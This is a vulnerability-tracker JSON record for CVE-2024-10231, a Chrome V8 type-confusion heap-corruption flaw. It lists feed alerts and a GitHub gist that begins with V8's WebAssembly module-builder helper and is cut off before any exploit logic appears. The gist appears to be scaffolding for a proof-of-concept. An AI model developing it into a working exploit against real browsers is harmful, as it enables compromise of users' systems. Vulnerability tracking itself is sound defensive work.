{"vulnerability": "cve-2024-10231", "sightings": [{"uuid": "848fb131-eb58-4f35-994b-5845b6f6cc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://t.me/cvedetector/8666", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10231 - Google Chrome JavaScript V8 Type Confusion Heap Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-10231 \nPublished : Oct. 22, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 130.0.6723.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T00:40:04.000000Z"}, {"uuid": "ca8d652c-19e3-4c02-a2f3-91c5cb09969a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpvjzl2u2d2a", "content": "\ud83d\udccc CVE-2024-10231 - Type Confusion in V8 in Google Chrome prior to 130.0.6723.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.... https://www.cyberhub.blog/cves/CVE-2024-10231", "creation_timestamp": "2026-07-05T12:07:07.411653Z"}, {"uuid": "c3564211-806c-4ca1-893d-42b8245f6af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10231", "type": "seen", "source": "https://gist.github.com/vichhka-git/3843051263a5f9fd991962366960f8e6", "content": "\n\ncw\n\nboot\n\n///// wasm-module-builder.js START /////\n// Copyright 2016 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n// Used for encoding f32 and double constants to bits.\nlet byte_view = new Uint8Array(8);\nlet data_view = new DataView(byte_view.buffer);\n\n// The bytes function receives one of\n//  - several arguments, each of which is either a number or a string of length\n//    1; if it's a string, the charcode of the contained character is used.\n//  - a single array argument containing the actual arguments\n//  - a single string; the returned buffer will contain the char codes of all\n//    contained characters.\nfunction bytes(...input) {\n  if (input.length == 1 && typeof input[0] == 'array') input = input[0];\n  if (input.length == 1 && typeof input[0] == 'string') {\n    let len = input[0].length;\n    let view = new Uint8Array(len);\n    for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);\n    return view.buffer;\n  }\n  let view = new Uint8Array(input.length);\n  for (let i = 0; i < input.length; i++) {\n    let val = input[i];\n    if (typeof val == 'string') {\n      if (val.length != 1) {\n        throw new Error('string inputs must have length 1');\n      }\n      val = val.charCodeAt(0);\n    }\n    view[i] = val | 0;\n  }\n  return view.buffer;\n}\n\n// Header declaration constants\nvar kWasmH0 = 0;\nvar kWasmH1 = 0x61;\nvar kWasmH2 = 0x73;\nvar kWasmH3 = 0x6d;\n\nvar kWasmV0 = 0x1;\nvar kWasmV1 = 0;\nvar kWasmV2 = 0;\nvar kWasmV3 = 0;\n\nvar kHeaderSize = 8;\nvar kPageSize = 65536;\nvar kSpecMaxPages = 65536;\nvar kMaxVarInt32Size = 5;\nvar kMaxVarInt64Size = 10;\n\nlet kDeclNoLocals = 0;\n\n// Section declaration constants\nlet kUnknownSectionCode = 0;\nlet kTypeSectionCode = 1;        // Function signature declarations\nlet kImportSectionCode = 2;      // Import declarations\nlet kFunctionSectionCode = 3;    // Function declarations\nlet kTableSectionCode = 4;       // Indirect function table and other tables\nlet kMemorySectionCode = 5;      // Memory attributes\nlet kGlobalSectionCode = 6;      // Global declarations\nlet kExportSectionCode = 7;      // Exports\nlet kStartSectionCode = 8;       // Start function declaration\nlet kElementSectionCode = 9;     // Elements section\nlet kCodeSectionCode = 10;       // Function code\nlet kDataSectionCode = 11;       // Data segments\nlet kDataCountSectionCode = 12;  // Data segment count (between Element & Code)\nlet kTagSectionCode = 13;        // Tag section (between Memory & Global)\nlet kStringRefSectionCode = 14;  // Stringref literals section (between Tag & Global)\nlet kLastKnownSectionCode = 14;\n\n// Name section types\nlet kModuleNameCode = 0;\nlet kFunctionNamesCode = 1;\nlet kLocalNamesCode = 2;\n\nlet kWasmSharedTypeForm = 0x65;\nlet kWasmFunctionTypeForm = 0x60;\nlet kWasmStructTypeForm = 0x5f;\nlet kWasmArrayTypeForm = 0x5e;\nlet kWasmSubtypeForm = 0x50;\nlet kWasmSubtypeFinalForm = 0x4f;\nlet kWasmRecursiveTypeGroupForm = 0x4e;\n\nlet kNoSuperType = 0xFFFFFFFF;\n\nlet kLimitsNoMaximum = 0x00;\nlet kLimitsWithMaximum = 0x01;\nlet kLimitsSharedNoMaximum = 0x02;\nlet kLimitsSharedWithMaximum = 0x03;\nlet kLimitsMemory64NoMaximum = 0x04;\nlet kLimitsMemory64WithMaximum = 0x05;\nlet kLimitsMemory64SharedNoMaximum = 0x06;\nlet kLimitsMemory64SharedWithMaximum = 0x07;\n\n// Segment flags\nlet kActiveNoIndex = 0;\nlet kPassive = 1;\nlet kActiveWithIndex = 2;\nlet kDeclarative = 3;\nlet kPassiveWithElements = 5;\nlet kDeclarativeWithElements = 7;\n\n// Function declaration flags\nlet kDeclFunctionName = 0x01;\nlet kDeclFunctionImport = 0x02;\nlet kDeclFunctionLocals = 0x04;\nlet kDeclFunctionExport = 0x08;\n\n// Value types and related\nlet kWasmVoid = 0x40;\nlet kWasmI32 = 0x7f;\nlet kWasmI64 = 0x7e;\nlet kWasmF32 = 0x7d;\nlet kWasmF64 = 0x7c;\nlet kWasmS128 = 0x7b;\nlet kWasmI8 = 0x78;\nlet kWasmI16 = 0x77;\nlet kWasmF16 = 0x76;\n\n// These are defined as negative integers to distinguish them from positive type\n// indices.\nlet kWasmNullFuncRef = -0x0d;\nlet kWasmNullExternRef = -0x0e;\nlet kWasmNullRef = -0x0f;\nlet kWasmFuncRef = -0x10;\nlet kWasmAnyFunc = kWasmFuncRef;  // Alias named as in the JS API spec\nlet kWasmExternRef = -0x11;\nlet kWasmAnyRef = -0x12;\nlet kWasmEqRef = -0x13;\nlet kWasmI31Ref = -0x14;\nlet kWasmStructRef = -0x15;\nlet kWasmArrayRef = -0x16;\nlet kWasmExnRef = -0x17;\nlet kWasmNullExnRef = -0x0c;\nlet kWasmStringRef = -0x19;\nlet kWasmStringViewWtf8 = -0x1a;\nlet kWasmStringViewWtf16 = -0x1e;\nlet kWasmStringViewIter = -0x1f;\n\n// Use the positive-byte versions inside function bodies.\nlet kLeb128Mask = 0x7f;\nlet kFuncRefCode = kWasmFuncRef & kLeb128Mask;\nlet kAnyFuncCode = kFuncRefCode;  // Alias named as in the JS API spec\nlet kExternRefCode = kWasmExternRef & kLeb128Mask;\nlet kAnyRefCode = kWasmAnyRef & kLeb128Mask;\nlet kEqRefCode = kWasmEqRef & kLeb128Mask;\nlet kI31RefCode = kWasmI31Ref & kLeb128Mask;\nlet kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;\nlet kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;\nlet kStructRefCode = kWasmStructRef & kLeb128Mask;\nlet kArrayRefCode = kWasmArrayRef & kLeb128Mask;\nlet kExnRefCode = kWasmExnRef & kLeb128Mask;\nlet kNullExnRefCode = kWasmNullExnRef & kLeb128Mask;\nlet kNullRefCode = kWasmNullRef & kLeb128Mask;\nlet kStringRefCode = kWasmStringRef & kLeb128Mask;\nlet kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;\nlet kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;\nlet kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;\n\nlet kWasmRefNull = 0x63;\nlet kWasmRef = 0x64;\nfunction wasmRefNullType(heap_type, is_shared = false) {\n  return {opcode: kWasmRefNull, heap_type: heap_type, is_shared: is_shared};\n}\nfunction wasmRefType(heap_type, is_shared = false) {\n  return {opcode: kWasmRef, heap_type: heap_type, is_shared: is_shared};\n}\n\nlet kExternalFunction = 0;\nlet kExternalTable = 1;\nlet kExternalMemory = 2;\nlet kExternalGlobal = 3;\nlet kExternalTag = 4;\n\nlet kTableZero = 0;\nlet kMemoryZero = 0;\nlet kSegmentZero = 0;\n\nlet kExceptionAttribute = 0;\n\n// Useful signatures\nlet kSig_i_i = makeSig([kWasmI32], [kWasmI32]);\nlet kSig_l_l = makeSig([kWasmI64], [kWasmI64]);\nlet kSig_i_l = makeSig([kWasmI64], [kWasmI32]);\nlet kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_i_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);\nlet kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);\nlet kSig_l_i = makeSig([kWasmI32], [kWasmI64]);\nlet kSig_f_i = makeSig([kWasmI32], [kWasmF32]);\nlet kSig_i_f = makeSig([kWasmF32], [kWasmI32]);\nlet kSig_i_ff = makeSig([kWasmF32, kWasmF32], [kWasmI32]);\nlet kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);\nlet kSig_f_ffff = makeSig([kWasmF32, kWasmF32, kWasmF32, kWasmF32], [kWasmF32]);\nlet kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);\nlet kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);\nlet kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);\nlet kSig_v_v = makeSig([], []);\nlet kSig_i_v = makeSig([], [kWasmI32]);\nlet kSig_l_v = makeSig([], [kWasmI64]);\nlet kSig_f_v = makeSig([], [kWasmF32]);\nlet kSig_d_v = makeSig([], [kWasmF64]);\nlet kSig_v_i = makeSig([kWasmI32], []);\nlet kSig_v_ii = makeSig([kWasmI32, kWasmI32], []);\nlet kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []);\nlet kSig_v_l = makeSig([kWasmI64], []);\nlet kSig_v_li = makeSig([kWasmI64, kWasmI32], []);\nlet kSig_v_lii = makeSig([kWasmI64, kWasmI32, kWasmI32], []);\nlet kSig_v_d = makeSig([kWasmF64], []);\nlet kSig_v_dd = makeSig([kWasmF64, kWasmF64], []);\nlet kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []);\nlet kSig_ii_v = makeSig([], [kWasmI32, kWasmI32]);\nlet kSig_iii_v = makeSig([], [kWasmI32, kWasmI32, kWasmI32]);\nlet kSig_ii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32]);\nlet kSig_iii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);\nlet kSig_ii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32]);\nlet kSig_iii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);\n\nlet kSig_v_f = makeSig([kWasmF32], []);\nlet kSig_f_f = makeSig([kWasmF32], [kWasmF32]);\nlet kSig_f_d = makeSig([kWasmF64], [kWasmF32]);\nlet kSig_d_d = makeSig([kWasmF64], [kWasmF64]);\nlet kSig_d_f = makeSig([kWasmF32], [kWasmF64]);\nlet kSig_d_i = makeSig([kWasmI32], [kWasmF64]);\nlet kSig_r_r = makeSig([kWasmExternRef], [kWasmExternRef]);\nlet kSig_a_a = makeSig([kWasmAnyFunc], [kWasmAnyFunc]);\nlet kSig_i_r = makeSig([kWasmExternRef], [kWasmI32]);\nlet kSig_v_r = makeSig([kWasmExternRef], []);\nlet kSig_v_a = makeSig([kWasmAnyFunc], []);\nlet kSig_v_rr = makeSig([kWasmExternRef, kWasmExternRef], []);\nlet kSig_v_aa = makeSig([kWasmAnyFunc, kWasmAnyFunc], []);\nlet kSig_r_v = makeSig([], [kWasmExternRef]);\nlet kSig_a_v = makeSig([], [kWasmAnyFunc]);\nlet kSig_a_i = makeSig([kWasmI32], [kWasmAnyFunc]);\nlet kSig_s_i = makeSig([kWasmI32], [kWasmS128]);\nlet kSig_i_s = makeSig([kWasmS128], [kWasmI32]);\n\nfunction makeSig(params, results) {\n  return {params: params, results: results};\n}\n\nfunction makeSig_v_x(x) {\n  return makeSig([x], []);\n}\n\nfunction makeSig_x_v(x) {\n  return makeSig([], [x]);\n}\n\nfunction makeSig_v_xx(x) {\n  return makeSig([x, x], []);\n}\n\nfunction makeSig_r_v(r) {\n  return makeSig([], [r]);\n}\n\nfunction makeSig_r_x(r, x) {\n  return makeSig([x], [r]);\n}\n\nfunction makeSig_r_xx(r, x) {\n  return makeSig([x, x], [r]);\n}\n\n// Opcodes\nconst kWasmOpcodes = {\n  'Unreachable': 0x00,\n  'Nop': 0x01,\n  'Block': 0x02,\n  'Loop': 0x03,\n  'If': 0x04,\n  'Else': 0x05,\n  'Try': 0x06,\n  'TryTable': 0x1f,\n  'ThrowRef': 0x0a,\n  'Catch': 0x07,\n  'Throw': 0x08,\n  'Rethrow': 0x09,\n  'CatchAll': 0x19,\n  'End': 0x0b,\n  'Br': 0x0c,\n  'BrIf': 0x0d,\n  'BrTable': 0x0e,\n  'Return': 0x0f,\n  'CallFunction': 0x10,\n  'CallIndirect': 0x11,\n  'ReturnCall': 0x12,\n  'ReturnCallIndirect': 0x13,\n  'CallRef': 0x14,\n  'ReturnCallRef': 0x15,\n  'NopForTestingUnsupportedInLiftoff': 0x16,\n  'Delegate': 0x18,\n  'Drop': 0x1a,\n  'Select': 0x1b,\n  'SelectWithType': 0x1c,\n  'LocalGet': 0x20,\n  'LocalSet': 0x21,\n  'LocalTee': 0x22,\n  'GlobalGet': 0x23,\n  'GlobalSet': 0x24,\n  'TableGet': 0x25,\n  'TableSet': 0x26,\n  'I32LoadMem': 0x28,\n  'I64LoadMem': 0x29,\n  'F32LoadMem': 0x2a,\n  'F64LoadMem': 0x2b,\n  'I32LoadMem8S': 0x2c,\n  'I32LoadMem8U': 0x2d,\n  'I32LoadMem16S': 0x2e,\n  'I32LoadMem16U': 0x2f,\n  'I64LoadMem8S': 0x30,\n  'I64LoadMem8U': 0x31,\n  'I64LoadMem16S': 0x32,\n  'I64LoadMem16U': 0x33,\n  'I64LoadMem32S': 0x34,\n  'I64LoadMem32U': 0x35,\n  'I32StoreMem': 0x36,\n  'I64StoreMem': 0x37,\n  'F32StoreMem': 0x38,\n  'F64StoreMem': 0x39,\n  'I32StoreMem8': 0x3a,\n  'I32StoreMem16': 0x3b,\n  'I64StoreMem8': 0x3c,\n  'I64StoreMem16': 0x3d,\n  'I64StoreMem32': 0x3e,\n  'MemorySize': 0x3f,\n  'MemoryGrow': 0x40,\n  'I32Const': 0x41,\n  'I64Const': 0x42,\n  'F32Const': 0x43,\n  'F64Const': 0x44,\n  'I32Eqz': 0x45,\n  'I32Eq': 0x46,\n  'I32Ne': 0x47,\n  'I32LtS': 0x48,\n  'I32LtU': 0x49,\n  'I32GtS': 0x4a,\n  'I32GtU': 0x4b,\n  'I32LeS': 0x4c,\n  'I32LeU': 0x4d,\n  'I32GeS': 0x4e,\n  'I32GeU': 0x4f,\n  'I64Eqz': 0x50,\n  'I64Eq': 0x51,\n  'I64Ne': 0x52,\n  'I64LtS': 0x53,\n  'I64LtU': 0x54,\n  'I64GtS': 0x55,\n  'I64GtU': 0x56,\n  'I64LeS': 0x57,\n  'I64LeU': 0x58,\n  'I64GeS': 0x59,\n  'I64GeU': 0x5a,\n  'F32Eq': 0x5b,\n  'F32Ne': 0x5c,\n  'F32Lt': 0x5d,\n  'F32Gt': 0x5e,\n  'F32Le': 0x5f,\n  'F32Ge': 0x60,\n  'F64Eq': 0x61,\n  'F64Ne': 0x62,\n  'F64Lt': 0x63,\n  'F64Gt': 0x64,\n  'F64Le': 0x65,\n  'F64Ge': 0x66,\n  'I32Clz': 0x67,\n  'I32Ctz': 0x68,\n  'I32Popcnt': 0x69,\n  'I32Add': 0x6a,\n  'I32Sub': 0x6b,\n  'I32Mul': 0x6c,\n  'I32DivS': 0x6d,\n  'I32DivU': 0x6e,\n  'I32RemS': 0x6f,\n  'I32RemU': 0x70,\n  'I32And': 0x71,\n  'I32Ior': 0x72,\n  'I32Xor': 0x73,\n  'I32Shl': 0x74,\n  'I32ShrS': 0x75,\n  'I32ShrU': 0x76,\n  'I32Rol': 0x77,\n  'I32Ror': 0x78,\n  'I64Clz': 0x79,\n  'I64Ctz': 0x7a,\n  'I64Popcnt': 0x7b,\n  'I64Add': 0x7c,\n  'I64Sub': 0x7d,\n  'I64Mul': 0x7e,\n  'I64DivS': 0x7f,\n  'I64DivU': 0x80,\n  'I64RemS': 0x81,\n  'I64RemU': 0x82,\n  'I64And': 0x83,\n  'I64Ior': 0x84,\n  'I64Xor': 0x85,\n  'I64Shl': 0x86,\n  'I64ShrS': 0x87,\n  'I64ShrU': 0x88,\n  'I64Rol': 0x89,\n  'I64Ror': 0x8a,\n  'F32Abs': 0x8b,\n  'F32Neg': 0x8c,\n  'F32Ceil': 0x8d,\n  'F32Floor': 0x8e,\n  'F32Trunc': 0x8f,\n  'F32NearestInt': 0x90,\n  'F32Sqrt': 0x91,\n  'F32Add': 0x92,\n  'F32Sub': 0x93,\n  'F32Mul': 0x94,\n  'F32Div': 0x95,\n  'F32Min': 0x96,\n  'F32Max': 0x97,\n  'F32CopySign': 0x98,\n  'F64Abs': 0x99,\n  'F64Neg': 0x9a,\n  'F64Ceil': 0x9b,\n  'F64Floor': 0x9c,\n  'F64Trunc': 0x9d,\n  'F64NearestInt': 0x9e,\n  'F64Sqrt': 0x9f,\n  'F64Add': 0xa0,\n  'F64Sub': 0xa1,\n  'F64Mul': 0xa2,\n  'F64Div': 0xa3,\n  'F64Min': 0xa4,\n  'F64Max': 0xa5,\n  'F64CopySign': 0xa6,\n  'I32ConvertI64': 0xa7,\n  'I32SConvertF32': 0xa8,\n  'I32UConvertF32': 0xa9,\n  'I32SConvertF64': 0xaa,\n  'I32UConvertF64': 0xab,\n  'I64SConvertI32': 0xac,\n  'I64UConvertI32': 0xad,\n  'I64SConvertF32': 0xae,\n  'I64UConvertF32': 0xaf,\n  'I64SConvertF64': 0xb0,\n  'I64UConvertF64': 0xb1,\n  'F32SConvertI32': 0xb2,\n  'F32UConvertI32': 0xb3,\n  'F32SConvertI64': 0xb4,\n  'F32UConvertI64': 0xb5,\n  'F32ConvertF64': 0xb6,\n  'F64SConvertI32': 0xb7,\n  'F64UConvertI32': 0xb8,\n  'F64SConvertI64': 0xb9,\n  'F64UConvertI64': 0xba,\n  'F64ConvertF32': 0xbb,\n  'I32ReinterpretF32': 0xbc,\n  'I64ReinterpretF64': 0xbd,\n  'F32ReinterpretI32': 0xbe,\n  'F64ReinterpretI64': 0xbf,\n  'I32SExtendI8': 0xc0,\n  'I32SExtendI16': 0xc1,\n  'I64SExtendI8': 0xc2,\n  'I64SExtendI16': 0xc3,\n  'I64SExtendI32': 0xc4,\n  'RefNull': 0xd0,\n  'RefIsNull': 0xd1,\n  'RefFunc': 0xd2,\n  'RefEq': 0xd3,\n  'RefAsNonNull': 0xd4,\n  'BrOnNull': 0xd5,\n  'BrOnNonNull': 0xd6\n};\n\nfunction defineWasmOpcode(name, value) {\n  if (globalThis.kWasmOpcodeNames === undefined) {\n    globalThis.kWasmOpcodeNames = {};\n  }\n  Object.defineProperty(globalThis, name, {value: value});\n  if (globalThis.kWasmOpcodeNames[value] !== undefined) {\n    throw new Error(`Duplicate wasm opcode: ${value}. Previous name: ${\n        globalThis.kWasmOpcodeNames[value]}, new name: ${name}`);\n  }\n  globalThis.kWasmOpcodeNames[value] = name;\n}\nfor (let name in kWasmOpcodes) {\n  defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]);\n}\n\n// Prefix opcodes\nconst kPrefixOpcodes = {\n  'GC': 0xfb,\n  'Numeric': 0xfc,\n  'Simd': 0xfd,\n  'Atomic': 0xfe\n};\nfor (let prefix in kPrefixOpcodes) {\n  defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]);\n}\n\n// Use these for multi-byte instructions (opcode > 0x7F needing two LEB bytes):\nfunction SimdInstr(opcode) {\n  if (opcode <= 0x7F) return [kSimdPrefix, opcode];\n  return [kSimdPrefix, 0x80 | (opcode & 0x7F), opcode >> 7];\n}\nfunction GCInstr(opcode) {\n  if (opcode <= 0x7F) return [kGCPrefix, opcode];\n  return [kGCPrefix, 0x80 | (opcode & 0x7F), opcode >> 7];\n}\n\n// GC opcodes\nlet kExprStructNew = 0x00;\nlet kExprStructNewDefault = 0x01;\nlet kExprStructGet = 0x02;\nlet kExprStructGetS = 0x03;\nlet kExprStructGetU = 0x04;\nlet kExprStructSet = 0x05;\nlet kExprArrayNew = 0x06;\nlet kExprArrayNewDefault = 0x07;\nlet kExprArrayNewFixed = 0x08;\nlet kExprArrayNewData = 0x09;\nlet kExprArrayNewElem = 0x0a;\nlet kExprArrayGet = 0x0b;\nlet kExprArrayGetS = 0x0c;\nlet kExprArrayGetU = 0x0d;\nlet kExprArraySet = 0x0e;\nlet kExprArrayLen = 0x0f;\nlet kExprArrayFill = 0x10;\nlet kExprArrayCopy = 0x11;\nlet kExprArrayInitData = 0x12;\nlet kExprArrayInitElem = 0x13;\nlet kExprRefTest = 0x14;\nlet kExprRefTestNull = 0x15;\nlet kExprRefCast = 0x16;\nlet kExprRefCastNull = 0x17;\nlet kExprBrOnCast = 0x18;\nlet kExprBrOnCastFail = 0x19;\nlet kExprAnyConvertExtern = 0x1a;\nlet kExprExternConvertAny = 0x1b;\nlet kExprRefI31 = 0x1c;\nlet kExprI31GetS = 0x1d;\nlet kExprI31GetU = 0x1e;\n\nlet kExprRefCastNop = 0x4c;\n\n// Stringref proposal.\nlet kExprStringNewUtf8 = 0x80;\nlet kExprStringNewWtf16 = 0x81;\nlet kExprStringConst = 0x82;\nlet kExprStringMeasureUtf8 = 0x83;\nlet kExprStringMeasureWtf8 = 0x84;\nlet kExprStringMeasureWtf16 = 0x85;\nlet kExprStringEncodeUtf8 = 0x86;\nlet kExprStringEncodeWtf16 = 0x87;\nlet kExprStringConcat = 0x88;\nlet kExprStringEq = 0x89;\nlet kExprStringIsUsvSequence = 0x8a;\nlet kExprStringNewLossyUtf8 = 0x8b;\nlet kExprStringNewWtf8 = 0x8c;\nlet kExprStringEncodeLossyUtf8 = 0x8d;\nlet kExprStringEncodeWtf8 = 0x8e;\nlet kExprStringNewUtf8Try = 0x8f;\nlet kExprStringAsWtf8 = 0x90;\nlet kExprStringViewWtf8Advance = 0x91;\nlet kExprStringViewWtf8EncodeUtf8 = 0x92;\nlet kExprStringViewWtf8Slice = 0x93;\nlet kExprStringViewWtf8EncodeLossyUtf8 = 0x94;\nlet kExprStringViewWtf8EncodeWtf8 = 0x95;\nlet kExprStringAsWtf16 = 0x98;\nlet kExprStringViewWtf16Length = 0x99;\nlet kExprStringViewWtf16GetCodeunit = 0x9a;\nlet kExprStringViewWtf16Encode = 0x9b;\nlet kExprStringViewWtf16Slice = 0x9c;\nlet kExprStringAsIter = 0xa0;\nlet kExprStringViewIterNext = 0xa1\nlet kExprStringViewIterAdvance = 0xa2;\nlet kExprStringViewIterRewind = 0xa3\nlet kExprStringViewIterSlice = 0xa4;\nlet kExprStringCompare = 0xa8;\nlet kExprStringFromCodePoint = 0xa9;\nlet kExprStringHash = 0xaa;\nlet kExprStringNewUtf8Array = 0xb0;\nlet kExprStringNewWtf16Array = 0xb1;\nlet kExprStringEncodeUtf8Array = 0xb2;\nlet kExprStringEncodeWtf16Array = 0xb3;\nlet kExprStringNewLossyUtf8Array = 0xb4;\nlet kExprStringNewWtf8Array = 0xb5;\nlet kExprStringEncodeLossyUtf8Array = 0xb6;\nlet kExprStringEncodeWtf8Array = 0xb7;\nlet kExprStringNewUtf8ArrayTry = 0xb8;\n\n// Numeric opcodes.\nlet kExprI32SConvertSatF32 = 0x00;\nlet kExprI32UConvertSatF32 = 0x01;\nlet kExprI32SConvertSatF64 = 0x02;\nlet kExprI32UConvertSatF64 = 0x03;\nlet kExprI64SConvertSatF32 = 0x04;\nlet kExprI64UConvertSatF32 = 0x05;\nlet kExprI64SConvertSatF64 = 0x06;\nlet kExprI64UConvertSatF64 = 0x07;\nlet kExprMemoryInit = 0x08;\nlet kExprDataDrop = 0x09;\nlet kExprMemoryCopy = 0x0a;\nlet kExprMemoryFill = 0x0b;\nlet kExprTableInit = 0x0c;\nlet kExprElemDrop = 0x0d;\nlet kExprTableCopy = 0x0e;\nlet kExprTableGrow = 0x0f;\nlet kExprTableSize = 0x10;\nlet kExprTableFill = 0x11;\n\n// Atomic opcodes.\nlet kExprAtomicNotify = 0x00;\nlet kExprI32AtomicWait = 0x01;\nlet kExprI64AtomicWait = 0x02;\nlet kExprAtomicFence = 0x03;\nlet kExprI32AtomicLoad = 0x10;\nlet kExprI32AtomicLoad8U = 0x12;\nlet kExprI32AtomicLoad16U = 0x13;\nlet kExprI32AtomicStore = 0x17;\nlet kExprI32AtomicStore8U = 0x19;\nlet kExprI32AtomicStore16U = 0x1a;\nlet kExprI32AtomicAdd = 0x1e;\nlet kExprI32AtomicAdd8U = 0x20;\nlet kExprI32AtomicAdd16U = 0x21;\nlet kExprI32AtomicSub = 0x25;\nlet kExprI32AtomicSub8U = 0x27;\nlet kExprI32AtomicSub16U = 0x28;\nlet kExprI32AtomicAnd = 0x2c;\nlet kExprI32AtomicAnd8U = 0x2e;\nlet kExprI32AtomicAnd16U = 0x2f;\nlet kExprI32AtomicOr = 0x33;\nlet kExprI32AtomicOr8U = 0x35;\nlet kExprI32AtomicOr16U = 0x36;\nlet kExprI32AtomicXor = 0x3a;\nlet kExprI32AtomicXor8U = 0x3c;\nlet kExprI32AtomicXor16U = 0x3d;\nlet kExprI32AtomicExchange = 0x41;\nlet kExprI32AtomicExchange8U = 0x43;\nlet kExprI32AtomicExchange16U = 0x44;\nlet kExprI32AtomicCompareExchange = 0x48;\nlet kExprI32AtomicCompareExchange8U = 0x4a;\nlet kExprI32AtomicCompareExchange16U = 0x4b;\n\nlet kExprI64AtomicLoad = 0x11;\nlet kExprI64AtomicLoad8U = 0x14;\nlet kExprI64AtomicLoad16U = 0x15;\nlet kExprI64AtomicLoad32U = 0x16;\nlet kExprI64AtomicStore = 0x18;\nlet kExprI64AtomicStore8U = 0x1b;\nlet kExprI64AtomicStore16U = 0x1c;\nlet kExprI64AtomicStore32U = 0x1d;\nlet kExprI64AtomicAdd = 0x1f;\nlet kExprI64AtomicAdd8U = 0x22;\nlet kExprI64AtomicAdd16U = 0x23;\nlet kExprI64AtomicAdd32U = 0x24;\nlet kExprI64AtomicSub = 0x26;\nlet kExprI64AtomicSub8U = 0x29;\nlet kExprI64AtomicSub16U = 0x2a;\nlet kExprI64AtomicSub32U = 0x2b;\nlet kExprI64AtomicAnd = 0x2d;\nlet kExprI64AtomicAnd8U = 0x30;\nlet kExprI64AtomicAnd16U = 0x31;\nlet kExprI64AtomicAnd32U = 0x32;\nlet kExprI64AtomicOr = 0x34;\nlet kExprI64AtomicOr8U = 0x37;\nlet kExprI64AtomicOr16U = 0x38;\nlet kExprI64AtomicOr32U = 0x39;\nlet kExprI64AtomicXor = 0x3b;\nlet kExprI64AtomicXor8U = 0x3e;\nlet kExprI64AtomicXor16U = 0x3f;\nlet kExprI64AtomicXor32U = 0x40;\nlet kExprI64AtomicExchange = 0x42;\nlet kExprI64AtomicExchange8U = 0x45;\nlet kExprI64AtomicExchange16U = 0x46;\nlet kExprI64AtomicExchange32U = 0x47;\nlet kExprI64AtomicCompareExchange = 0x49\nlet kExprI64AtomicCompareExchange8U = 0x4c;\nlet kExprI64AtomicCompareExchange16U = 0x4d;\nlet kExprI64AtomicCompareExchange32U = 0x4e;\n\n// Simd opcodes.\nlet kExprS128LoadMem = 0x00;\nlet kExprS128Load8x8S = 0x01;\nlet kExprS128Load8x8U = 0x02;\nlet kExprS128Load16x4S = 0x03;\nlet kExprS128Load16x4U = 0x04;\nlet kExprS128Load32x2S = 0x05;\nlet kExprS128Load32x2U = 0x06;\nlet kExprS128Load8Splat = 0x07;\nlet kExprS128Load16Splat = 0x08;\nlet kExprS128Load32Splat = 0x09;\nlet kExprS128Load64Splat = 0x0a;\nlet kExprS128StoreMem = 0x0b;\nlet kExprS128Const = 0x0c;\nlet kExprI8x16Shuffle = 0x0d;\nlet kExprI8x16Swizzle = 0x0e;\n\nlet kExprI8x16Splat = 0x0f;\nlet kExprI16x8Splat = 0x10;\nlet kExprI32x4Splat = 0x11;\nlet kExprI64x2Splat = 0x12;\nlet kExprF32x4Splat = 0x13;\nlet kExprF64x2Splat = 0x14;\nlet kExprI8x16ExtractLaneS = 0x15;\nlet kExprI8x16ExtractLaneU = 0x16;\nlet kExprI8x16ReplaceLane = 0x17;\nlet kExprI16x8ExtractLaneS = 0x18;\nlet kExprI16x8ExtractLaneU = 0x19;\nlet kExprI16x8ReplaceLane = 0x1a;\nlet kExprI32x4ExtractLane = 0x1b;\nlet kExprI32x4ReplaceLane = 0x1c;\nlet kExprI64x2ExtractLane = 0x1d;\nlet kExprI64x2ReplaceLane = 0x1e;\nlet kExprF32x4ExtractLane = 0x1f;\nlet kExprF32x4ReplaceLane = 0x20;\nlet kExprF64x2ExtractLane = 